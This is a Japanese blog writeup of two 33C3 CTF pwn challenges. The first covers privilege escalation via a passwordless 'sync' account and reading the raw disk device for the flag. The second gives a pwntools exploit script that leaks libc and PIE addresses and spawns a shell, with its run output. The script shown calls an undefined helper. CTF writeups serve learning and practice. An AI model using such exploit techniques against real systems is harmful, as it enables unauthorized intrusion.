ブログ未満のなにか

ブログなのか誰にも分からない

33C3 CTF writeup

はじめに

TokyoWesternsで参加して6位でした。pwnを中心にやってたのですが、解析パートが辛く厳しかった。僕が関わった問題2問のwriteupです。

The 0x90s called (pwn 150)

Linuxカーネルが動作するサーバーにアクセスして、rootでしか読めないflagを読む問題。
途中まで出来たが最後はプロが解いてくれた(圧倒的感謝🙏)。

% nc 78.46.224.70 2323

Welcome to Linux 0.99pl12.

slack login: challenge
Password:challenge

Linux 0.99pl12. (Posix).
No mail.
slack:~$ uname -a
Linux slack 0.99.12 #6 Sun Aug 8 16:02:35 CDT 1993 i586

/etc/passwdを見ると、syncはパスが設定されてない。suコマンドでsyncの権限でコマンド実行することが可能だった(ここまではできた)。rootグループの権限があってもflagは読めないのでもう一捻り必要。

cat /etc/passwd
root::0:0::/:/bin/sh
daemon:x:1:1::/etc:
bin:x:2:2::/bin:
adm:x:4:4::/:
uucp::5:5::/usr/uucp:
sync::255:0:::/bin/sync
anonymous:*:403:1::/home/ftp:/bin/sh
ftp:*:404:1::/home/ftp:/bin/sh
challenge:*:405:1::/home/challenge:

slack:~$ su sync -c 'id'
uid=255(sync) gid=0(root)

プロが/dev/*は、rootグループでreadできることに気づいた./dev/hdaにファイルが書き込まれていることに気づきdone.

su sync -c 'cat /dev/hda'

(skip)
33C3_Th3_0x90s_w3r3_pre3tty_4w3s0m3
(skip)

rec

flagのsubmitはしたが、正直何もしてないごっつぁんゴール。やったことは、rubyで書かれたexploitをpythonに書き直し、libcをリークさせようとしてた。libcのリークは完全に無駄で、オフセットから特定が可能だった。

Signは入力した数値の符号を返す機能で、入力に応じてeaxに関数を設定してcall eaxしている。
0を入力すると、eaxに関数が設定されず、stack上の値がeaxに格納される。
うまいことstackを調整し、呼び出したい関数をstackに積んでから0を入力すればいい。


from pwn import *

def m(u32):
    return -(0xffffffff - u32 + 1)

def send_cmd(num):
    repr(conn.recvuntil('> '))
    conn.sendline(str(num))
    print '< ', num
    return  

def send_addr100(addr): 
    for i in range(100):
        conn.sendline(str(addr)) 

host = '78.46.224.74'
port = 4127

# myabe address so must dump libc 
libc_stdout_offset = 0x1b3d60
libc_system_offset = 0x3b020
libc_binsh_offset = 0x15cbcf
libc_system_offset = 0x0003a8b0

conn = remote(host, port)

# leak some addreses
send_cmd(1)
conn.recvuntil('Your note: ')
recv = conn.recv(16)
print repr(recv)
stack_addr = u32(recv[0:4])
pie_base = u32(recv[4:8]) - 0x6fb
libc_base = u32(recv[8:12]) - libc_stdout_offset 
print '[+] pie_base =', hex(pie_base)
print '[+] libc_base =', hex(libc_base)

send_cmd(2)
conn.recvuntil(': ')
conn.sendline('S')
send_func100(m(libc_base + libc_system_offset))

conn.recvuntil(': ')
conn.sendline(str(m(libc_base + libc_binsh_offset)))
conn.sendline('.')
send_cmd(5)
conn.sendline('0')

conn.interactive()
% python exploit.py 
[+] Opening connection to 78.46.224.74 on port 4127: Done
<  1
'\xb8\xd0\xe5\xff\xfb\x16ZV`\x9dm\xf7\xfe ZV'
[+] pie_base = 0x565a1000
[+] libc_base = 0xf7526000
<  2
<  5
[*] Switching to interactive mode
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ ls
bin
boot
challenge
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ cat /challenge/flag
33C3_L0rd_Nikon_would_l3t_u_1n

おわりに

任意の問題が辛かったのでもっと精進したい。
rev力の無さを痛感したので精進したい。
Firefox exploitationの問題はwriteup読みながらでも解きたい。